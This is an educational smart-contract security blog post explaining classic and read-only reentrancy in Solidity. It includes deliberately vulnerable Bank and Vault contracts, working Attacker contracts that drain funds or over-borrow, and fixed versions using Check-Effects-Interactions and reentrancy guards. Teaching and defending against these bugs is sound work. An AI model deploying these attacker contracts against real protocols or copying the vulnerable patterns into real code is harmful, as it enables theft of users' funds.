Back to blogs
Written by
Hans
Published on
June 3, 2025

Solodit Checklist Explained (8): Reentrancy Attack

Learn how reentrancy attacks exploit smart contracts and how to prevent them using Check-Effects-Interactions and reentrancy guards with clear code examples.

Table of Contents

Welcome back to the "Solodit Checklist Explained" series.

Today, we are exploring Reentrancy Attacks.

A reentrancy attack is the most widely known attack vector in smart contracts. It exploits a vulnerability where a function can be repeatedly invoked before its prior execution completes. This enables an attacker to manipulate the contract's state.

In this article, we will dissect two key checklist items related to reentrancy attacks. We’ll explore code examples, detailed scenarios, and proven mitigation techniques.

This is part of the "Solodit Checklist Explained" series. You can find the previous articles here:

For the best experience, open a tab with the Solodit checklist to refer to it as you read. Examples are available on my GitHub here.

SOL-AM-ReentrancyAttack-1: Is there any state change after interaction with an external contract?

  • Description: Untrusted external contract calls could callback, leading to unexpected results such as multiple withdrawals or out-of-order events.

  • Remediation: Use the Check-Effects-Interactions pattern or reentrancy guards.

The core of this vulnerability lies in the sequence of operations: when a smart contract interacts with an external contract, it creates a potential window for that external contract to call back into the original contract before its initial interaction is complete. 

If the original contract defers critical state changes until after the external call, a malicious re-entry can exploit this delay, manipulating the contract's state while it is in an inconsistent, transitional phase.

Consider the simple Bank contract below. Its withdraw function is designed to send Ether to a user and then update their balance.

pragma solidity ^0.8.0;


contract Bank {
    mapping(address => uint256) public balances;


    function deposit() public payable {
        balances[msg.sender] += msg.value;
    }


    function withdraw(uint256 amount) public {
        // Check: Ensure sufficient balance exists
        require(balances[msg.sender] >= amount, "Insufficient balance");


        // Interaction: External transfer of funds
        // This is where the reentrancy window opens. The attacker receives funds prematurely.
        (bool success, ) = msg.sender.call{value: amount}("");
        require(success, "Transfer failed");


        // Effect: Update balance
        // This state change occurs *after* the external call, creating the vulnerability.
        unchecked {
            balances[msg.sender] -= amount;
        }
    }
}


// Malicious Contract to exploit the Bank contract
contract Attacker {
    Bank public bank;


    constructor(Bank _bank) {
        bank = _bank;
    }


    function attack() public payable {
        // Step 1: Deposit funds to establish a legitimate balance for the attack
        bank.deposit{value: 1 ether}();


        // Step 2: Initiate the withdrawal. This call triggers the reentrancy.
        bank.withdraw(1 ether);


        // Step 3: Any remaining stolen funds held by this contract are sent back to the original caller.
        msg.sender.call{value: address(this).balance}("");
    }


    // This fallback function is automatically executed when this contract receives Ether.
    // It's the core of the reentrancy logic.
    fallback() external payable {
        // Continuously call withdraw as long as the Bank contract has funds
        // and the attacker wants to withdraw (e.g., 1 ether per re-entry).
        if (address(bank).balance >= 1 ether) {
            bank.withdraw(1 ether);
        }
        // The condition `address(bank).balance >= 1 ether` prevents unending recursion
        // by stopping when the bank is sufficiently drained.
    }
}

How the attack works

This specific reentrancy attack unfolds in the following steps:

  1. An attacker, via an externally owned account (EOA), initiates the process by funding the Attacker contract and then calling Attacker.attack().

  2. Inside Attacker.attack(), the attacker first deposits 1 Ether into the Bank contract, establishing a legitimate balance.

  3. Next, the Attacker contract calls bank.withdraw(1 ether).

  4. Within the Bank.withdraw() function:

    • The require(balances[msg.sender] >= amount) check passes because the attacker's balance is sufficient.

    • The line (bool success, ) = msg.sender.call{value: amount}(""); executes, sending 1 Ether to the Attacker contract.

  5. Crucially, at this point, the balances[msg.sender] -= amount; line in Bank.withdraw() has NOT yet executed. The Bank contract's state regarding the attacker's balance is still 1 ether.

  6. Upon receiving Ether, the Attacker contract's fallback() function is automatically triggered.

  7. Inside Attacker.fallback():

    • It checks if (address(bank).balance >= 1 ether). Since the Bank contract still holds funds (e.g., 10 ETH initially plus the 1 ETH deposit), this condition is true.

    • The fallback() function recursively calls bank.withdraw(1 ether) again.

  8. Steps 4-7 repeat. Each recursive call to bank.withdraw() succeeds because the balances[msg.sender] has not been decremented from the previous call. This allows the attacker to repeatedly withdraw funds.

  9. This process continues until the Bank contract's Ether reserves are significantly drained, specifically when address(bank).balance falls below the 1 ether withdrawal amount, which stops the recursion.
  10. Only after the Bank contract is substantially emptied, the original and all recursive calls to Bank.withdraw() finally complete their execution, and the balances[msg.sender] -= amount; lines decrement the attacker's balance for each withdrawal. However, by this point, the attacker has already extracted significantly more Ether than their legitimately deposited amount.

Remediation: Check-Effects-Interactions pattern and reentrancy guards

To address this reentrancy vulnerability, adhering to the Check-Effects-Interactions pattern is paramount. This pattern mandates a strict ordering of operations within a function:

  1. Check: Validate all prerequisites and conditions (e.g., require statements).

  2. Effects: Apply all internal state changes to the contract's variables.

  3. Interactions: Execute external calls to other contracts or addresses.

By updating all internal state variables before making any external calls, the contract ensures that its internal state is consistent and correct, even if a re-entrant call occurs. Any re-entrant call would then operate on the updated, correct state, preventing illicit withdrawals.

Applying this pattern to the Bank contract involves simply reordering the lines within the withdraw function:

pragma solidity ^0.8.0;


contract FixedBank {
    mapping(address => uint256) public balances;


    function deposit() public payable {
        balances[msg.sender] += msg.value;
    }


    function withdraw(uint256 amount) public {
        // Check: Validate balance
        require(balances[msg.sender] >= amount, "Insufficient balance");


        // Effect: Update balance *before* sending - Vulnerability fixed here!
        balances[msg.sender] -= amount;


        // Interaction: External transfer of funds *after* state update
        (bool success, ) = msg.sender.call{value: amount}("");
        require(success, "Transfer failed");
    }
}

Now, should a re-entrant call occur, the balances[msg.sender] will already have been decremented. Any subsequent attempt to withdraw more than the adjusted balance will immediately fail the require(balances[msg.sender] >= amount) check, thereby preventing the reentrancy attack.

An alternative defense against reentrancy attacks is the implementation of Reentrancy Guards. This mechanism utilizes a state variable, such as a boolean or enumeration, combined with a modifier to ensure a function can only be executed once at a time. When a protected function is called, the state variable is set to a "locked" state, and any subsequent reentrant call to the same function is reverted, effectively preventing the attack. 

OpenZeppelin’s ReentrancyGuard contract, which is widely adopted and thoroughly tested, can be inherited to implement this protection. Additionally, OpenZeppelin offers ReentrancyGuardTransient, which uses transient storage to achieve the same protection with reduced gas costs, making it an efficient alternative for compatible environments.

By prioritizing the Check-Effects-Interactions pattern and employing reentrancy guards, developers can effectively mitigate the risks associated with reentrancy vulnerabilities.

SOL-AM-ReentrancyAttack-2: Is there a view function that can return a stale value during interactions?

  • Description: Read-only reentrancy occurs when a view function is called during a reentrant execution. If the contract's state is temporarily inconsistent due to an ongoing external call, the view can return inaccurate data. This can mislead dependent protocols that rely on its output.
  • Remediation: Apply the Check-Effects-Interactions pattern to prevent inconsistent state, and ensure the reentrancy guard state is not ENTERED for critical view functions to prevent returning stale data.

This vulnerability is more subtle and frequently overlooked. While view functions are not designed to modify a contract's state, they can still become a vector for attacks if they are called during an external call that temporarily puts the contract in an inconsistent state. This scenario is known as read-only reentrancy.

The core issue is that a view function might read state variables that have been partially updated or are in a temporary, inconsistent configuration during an ongoing external call. If other critical contract logic or external protocols rely on the accuracy of these view function returns, they could make flawed decisions based on "stale" or manipulated data. This could lead to financial losses or protocol compromise.

Consider a simplified lending protocol that integrates with a Vault contract, using the Vault's share price to determine collateral value for loans.

pragma solidity ^0.8.19;


// Vault that issues shares for ETH deposits
contract Vault is ReentrancyGuard {
    mapping(address => uint256) public shares;
    mapping(address => mapping(address => uint256)) public allowances;
    uint256 public totalShares;
    uint256 public totalBalance; // Track ETH balance internally


    function deposit() external payable nonReentrant {
        uint256 sharesToMint = msg.value; // 1:1 for simplicity
        shares[msg.sender] += sharesToMint;
        totalShares += sharesToMint;
        totalBalance += msg.value; // Update internal balance tracker
    }


    function withdraw(uint256 shareAmount) external nonReentrant {
        require(shares[msg.sender] >= shareAmount, "Insufficient shares");


        uint256 ethAmount = (shareAmount * totalBalance) / totalShares;
        shares[msg.sender] -= shareAmount;
        totalShares -= shareAmount; // Update totalShares BEFORE external call - VULNERABILITY


        // External call with ETH transfer - totalBalance not yet updated creates inflated price
        (bool success,) = msg.sender.call{value: ethAmount}("");
        require(success, "Transfer failed");


        totalBalance -= ethAmount; // Update totalBalance AFTER external call
    }


    // Returns ETH value per share - can be manipulated during reentrancy
    function getSharePrice() public view returns (uint256) {
        if (totalShares == 0) return 1e18;
        return (totalBalance * 1e18) / totalShares; // Use internal balance tracker
    }


    // Approve another address to transfer shares on your behalf
    function approve(address spender, uint256 amount) external {
        allowances[msg.sender][spender] = amount;
    }


    // Transfer shares from one address to another (requires approval)
    function transferFrom(address from, address to, uint256 amount) external {
        require(shares[from] >= amount, "Insufficient shares");


        if (from != msg.sender) {
            require(allowances[from][msg.sender] >= amount, "Insufficient allowance");
            allowances[from][msg.sender] -= amount;
        }


        shares[from] -= amount;
        shares[to] += amount;
    }
}


// Lending protocol that uses vault share price as collateral oracle
contract LendingProtocol {
    Vault public vault;
    mapping(address => uint256) public collateralShares;
    mapping(address => uint256) public debt;


    constructor(Vault _vault) {
        vault = _vault;
    }


    function fund() external payable {} // For funding the lending pool


    function depositCollateral(uint256 shareAmount) external {
        require(vault.shares(msg.sender) >= shareAmount, "Insufficient vault shares");
        // Transfer shares from user to this contract as collateral
        vault.transferFrom(msg.sender, address(this), shareAmount);
        collateralShares[msg.sender] += shareAmount;
    }


    function borrow() external {
        // This function calls vault.getSharePrice() to determine collateral value.
        // During a reentrancy, vault.getSharePrice() might return an inflated value,
        // allowing the borrower to take out more than their collateral is truly worth.
        uint256 sharePrice = vault.getSharePrice();
        uint256 collateralValue = (collateralShares[msg.sender] * sharePrice) / 1e18;
        uint256 maxBorrow = collateralValue * 99 / 100; // 99% LTV for maximum impact


        require(maxBorrow > debt[msg.sender], "Insufficient collateral");
        uint256 borrowAmount = maxBorrow - debt[msg.sender];


        require(address(this).balance >= borrowAmount, "Insufficient lending pool funds");


        debt[msg.sender] += borrowAmount;
        (bool success,) = msg.sender.call{value: borrowAmount}("");
        require(success, "Borrow transfer failed");
    }
}


// Attacker exploits read-only reentrancy for profit
contract Attacker {
    Vault vault;
    LendingProtocol lending;
    uint256 private investment;
    bool private attacking = false;


    constructor(Vault _vault, LendingProtocol _lending) {
        vault = _vault;
        lending = _lending;
    }


    function exploit() external payable {
        investment = msg.value;


        // 1. Attacker deposits ETH to Vault to obtain shares.
        vault.deposit{value: investment}();
        uint256 shareAmount = investment / 2; // Use half for collateral, half for withdrawal later


        // 2. Approve the lending protocol to transfer a portion of shares for collateral.
        vault.approve(address(lending), shareAmount);


        // 3. Deposit a portion of shares (e.g., half) as collateral into the lending protocol.
        lending.depositCollateral(shareAmount);


        // 4. Initiate a withdrawal of the remaining shares from the Vault.
        // This call will trigger the Attacker's receive() function *before*
        // the vault's totalBalance is fully updated, creating the reentrancy window.
        attacking = true;
        vault.withdraw(investment - shareAmount); // withdraw the other half of shares
        attacking = false;
    }


    // This function is automatically triggered when Vault.withdraw() sends ETH to the Attacker.
    receive() external payable {
        if (attacking) {
            // **During reentrancy**:
            // The Vault's `totalShares` has been reduced by `withdraw()`.
            // However, the Vault's `totalBalance` has NOT yet been reduced.
            // This temporary state inconsistency causes `getSharePrice()` to return an inflated value.


            // The attacker immediately requests to borrow from the lending protocol.
            // The lending protocol uses the inflated share price to calculate collateral value.
            try lending.borrow() {} catch {
                // If the borrow fails (e.g., due to insufficient lending pool funds), catch the error.
            }
        }
    }
}


Understanding the read-only reentrancy attack

This complex read-only reentrancy attack unfolds through the following sequence:

  1. Vulnerable Vault.withdraw() Function:

    • The withdraw function in the Vault contract first calculates ethAmount (the Ether to be sent) based on the current totalBalance and totalShares.

    • It then proceeds to update the user's shares and, crucially, totalShares before making the external call to msg.sender to transfer Ether.

    • The critical flaw: totalBalance is only updated after the external call completes.

    • This creates a specific reentrancy window: totalShares has already been reduced, yet totalBalance still holds its larger, pre-withdrawal value relative to the shares. This temporary inconsistency causes the getSharePrice() function to report an inflated share price. For example, if a vault starts with 10 ETH and 10 shares (price 1 ETH/share), and a user withdraws two shares, totalShares becomes eight shares, but totalBalance temporarily remains 10 ETH before the ETH transfer is fully processed. At this point, getSharePrice() would calculate (10 * 1e18) / 8, resulting in an inflated price of 1.25 ETH/share.

    • Notably, the public stage-changing functions deposit() and withdraw() are protected by the nonReentrant modifier, preventing direct reentrancy into these functions. However, the getSharePrice() function is a view function and does not have this guard, allowing it to be called during the reentrancy window.

  2. LendingProtocol.borrow() reliance:

    • The LendingProtocol is designed to allow users to borrow against their collateralized Vault shares.

    • When LendingProtocol.borrow() is called, it queries vault.getSharePrice() to determine the current value of the collateral.

    • Since LendingProtocol relies on an external view function for a critical valuation, it becomes susceptible if that view function returns a stale or manipulated value.

  3. Attack execution via Attacker.exploit() and Attacker.receive():

    • Phase 1: Setup (Attacker.exploit()):

      1. The attacker deposits Ether into the Vault to acquire Vault shares.

      2. They approve the LendingProtocol to transfer a portion of these shares.

      3. They then deposit this portion into the LendingProtocol as collateral.

      4. Finally, the attacker calls vault.withdraw() with their remaining shares. This strategic call initiates the reentrancy.

    • Phase 2: Reentrancy (Attacker.receive() triggered by vault.withdraw's external call):

      1. When vault.withdraw() sends Ether to the Attacker's contract address, the Attacker's receive() function is automatically triggered.

      2. At this precise moment, the Vault contract is in its inconsistent state, as totalShares has been reduced, but totalBalance has not.

      3. Inside Attacker.receive(), the attacker immediately calls lending.borrow().

      4. When lending.borrow() executes, it fetches the sharePrice from vault.getSharePrice(). Due to the Vault's temporary inconsistent state, vault.getSharePrice() returns the temporarily inflated share price.

      5. lending.borrow() calculates the collateralValue using this artificially inflated price, allowing the attacker to borrow significantly more Ether than their actual collateral should permit.

    • Phase 3: Cleanup:

      1. After Attacker.receive() completes, the original vault.withdraw() call resumes and finally updates totalBalance. The Vault contract returns to a consistent state.

      2. The attacker, having successfully over-borrowed funds, extracts a profit from the lending protocol (if the lending protocol had enough funds).

This sophisticated attack shows why view functions must return accurate values. When other protocols depend on them, even minor inconsistencies can lead to major exploits.

Remediation: Check-Effects-Interactions pattern and reentrancy guards

  1. Strict adherence to Check-Effects-Interactions (primary mitigation): The inconsistency doesn’t originate in the view function itself, but the Vault.withdraw() function. We note again that the withdraw() function is protected by the nonReentrant modifier, which prevents direct reentrancy. The developer may have assumed that this made it safe to ignore the Check-Effects-Interactions pattern. However, as we have seen, this allowed the getSharePrice() function to return a stale value during the reentrancy window, leading to the read-only reentrancy attack.

    The most direct fix is to correctly implement the Check-Effects-Interactions pattern within withdraw. By moving the totalBalance -= ethAmount; line before the external call, the temporary inconsistency is eliminated, ensuring that getSharePrice() would always return a consistent value even if called recursively.
  2. Extend reentrancy guards (defensive layer): Even after fixing the source of the state inconsistency, adding a reentrancy guard state check to view functions, especially those providing critical data, is a robust defensive measure. While it might seem counterintuitive to guard a function that doesn't modify state, it prevents it from being called during a reentrancy window, ensuring a consistent and accurate return value.

    Note that we can not use the nonReentrant modifier on view functions directly, as it would prevent them from being called in a read-only context. Instead, we can use a custom modifier that checks the reentrancy guard state before allowing access to critical view functions. This ensures that if a function is currently executing and has locked the reentrancy guard, any attempt to call the view function will revert, preventing it from returning stale data.

// Fixed Vault contract
contract FixedVault is ReentrancyGuard {
    ...
    function withdraw(uint256 shareAmount) external nonReentrant {
        // Check
        require(shares[msg.sender] >= shareAmount, "Insufficient shares");


        // Effect 1: Calculate amount *before* state changes
        uint256 ethAmount = (shareAmount * totalBalance) / totalShares;


        // Effect 2: Update ALL relevant state *before* external call
        shares[msg.sender] -= shareAmount;
        totalShares -= shareAmount;
        totalBalance -= ethAmount; // This line is now moved BEFORE the external call


        // Interaction (now safe)
        (bool success,) = msg.sender.call{value: ethAmount}("");
        require(success, "Transfer failed");
    }


    // Checking _reentrancyGuardEntered ensures it cannot be called if *another*
    // function (like withdraw) has engaged the reentrancy guard.
    // This provides an extra layer of protection by preventing access to potentially
    // stale data during an unsafe state window, even before the Check-Effects-Interactions
    // pattern fully fixes the root cause of the inconsistency.
    function getSharePrice() public view returns (uint256) {
        if (_reentrancyGuardEntered()) {
            revert ReentrancyGuardReentrantCall();
        }
        if (totalShares == 0) return 1e18;
         return (totalBalance * 1e18) / totalShares;
    }


}

By correctly implementing the Check-Effects-Interactions pattern in the withdraw function (moving the totalBalance update), the temporary state inconsistency is resolved.

Moreover, by adding an additional check _reentrancyGuardEntered() to the function getSharePrice(), re-entrant calls are directly prevented. If withdraw (or any other function with nonReentrant) is currently executing and thus has locked the reentrancy modifier, any attempt to call getSharePrice() during that restricted period will revert.

This safeguard prevents getSharePrice() from being called when the contract's state might be temporarily inconsistent, ensuring it returns accurate values during safe execution.

Conclusion

We have explored critical check items related to reentrancy in smart contracts. By understanding how attackers can exploit delayed state changes and temporarily inconsistent data, developers can build stronger defenses. The increasing sophistication of decentralized finance (DeFi) protocols requires robust security measures integrated from the ground up.

Key takeaways:

  • Classic reentrancy: Updating state variables after an external call creates a window for re-entry, leading to exploits like illicit fund draining.

  • Check-Effects-Interactions pattern: This is the primary defense strategy, ensuring all state changes occur before external calls.

  • Reentrancy guards: Use a state variable, like a boolean or enum, with a modifier to lock a function during execution. This reverts any reentrant calls and effectively blocks reentrancy attacks.

  • Read-only reentrancy: Even view functions can become vulnerable if they return data from a contract in a temporarily inconsistent state due to an ongoing external call initiated by another function. Other protocols relying on such "stale" values can make incorrect decisions.

  • Protecting view functions: Fixing the root cause with Check-Effects-Interactions is essential. Moreover, reentrancy guard checks can be applied to critical view functions to prevent access during unsafe state windows.

Adopting these practices greatly reduces the threat of reentrancy attacks and helps build a more secure and dependable decentralized landscape.

In our next piece, we’ll uncover additional layers of smart contract security through an attacker’s perspective. Stay sharp, code with precision, and think like an adversary.

Secure your protocol today

Join some of the biggest protocols and companies in creating a better internet. Our security researchers will help you throughout the whole process.
Stay on the bleeding edge of security
Carefully crafted, short smart contract security tips and news freshly delivered every week.